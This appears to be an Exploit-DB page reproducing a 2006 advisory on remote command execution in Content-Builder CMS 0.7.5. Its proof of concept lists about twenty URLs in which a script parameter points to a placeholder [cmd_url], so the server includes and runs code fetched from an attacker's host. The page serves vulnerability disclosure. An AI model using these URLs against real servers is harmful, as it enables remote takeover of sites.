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Suggest Exploit
vendor:
Content-Builder (CMS)
by:
Federico Fazzi
7,5
CVSS
HIGH
Remote command execution
N/A
CWE
Product Name: Content-Builder (CMS)
Affected Version From: 0.7.5
Affected Version To: 0.7.5
Patch Exists: No
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

Content-Builder (CMS) 0.7.5, Remote command execution

Multiple vulnerabilities exist in Content-Builder (CMS) 0.7.5, which can be exploited by malicious people to conduct unauthorized activities. The vulnerabilities are caused due to the use of user-supplied input in several scripts without proper sanitization. This can be exploited to execute arbitrary commands by e.g. passing malicious parameters to the vulnerable scripts. Successful exploitation requires that the attacker can access the vulnerable scripts directly.

Mitigation:

Unavailable
Source

Exploit-DB raw data:

-----------------------------------------------------
Advisory id: FSA:012

Author:    Federico Fazzi
Date:      11/06/2006, 22:30
Sinthesis: Content-Builder (CMS) 0.7.5, Remote command execution
Type:      high
Product:   http://www.content-builder.de/
Patch:     unavailable
-----------------------------------------------------


1) Description:

vulnerables page:

Multiple vulnerabilities, see poc.

2) Proof of concept:

http://example/[cb_path]/cms/plugins/col_man/column.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/poll/poll.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/user_managment/usrPortrait.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/user_managment/user.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/media_manager/media.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/events/permanent.eventMonth.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/events/events.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/cms/plugins/newsletter2/newsletter.inc.php?lang_path=[cmd_url]/
http://example/[cb_path]/modules/guestbook/guestbook.inc.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/shoutbox/shoutBox.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/download/overview.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/download/detailView.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/sitemap/sitemap.inc.php?path[cb]=[cmd_url]/
http://example/[cb_path]/modules/article/fullarticle.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article/comments.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/overview.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/fullarticle.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/article2/comments.inc.php?rel=[cmd_url]/
http://example/[cb_path]/modules/headline/headlineBox.php?rel=[cmd_url]/
http://example/[cb_path]/modules/headline/showHeadline.inc.php?rel=[cmd_url]/

(note: add a cmd url with final slash (/))

3) Solution:

sanitized all variables on all files.

# milw0rm.com [2006-06-11]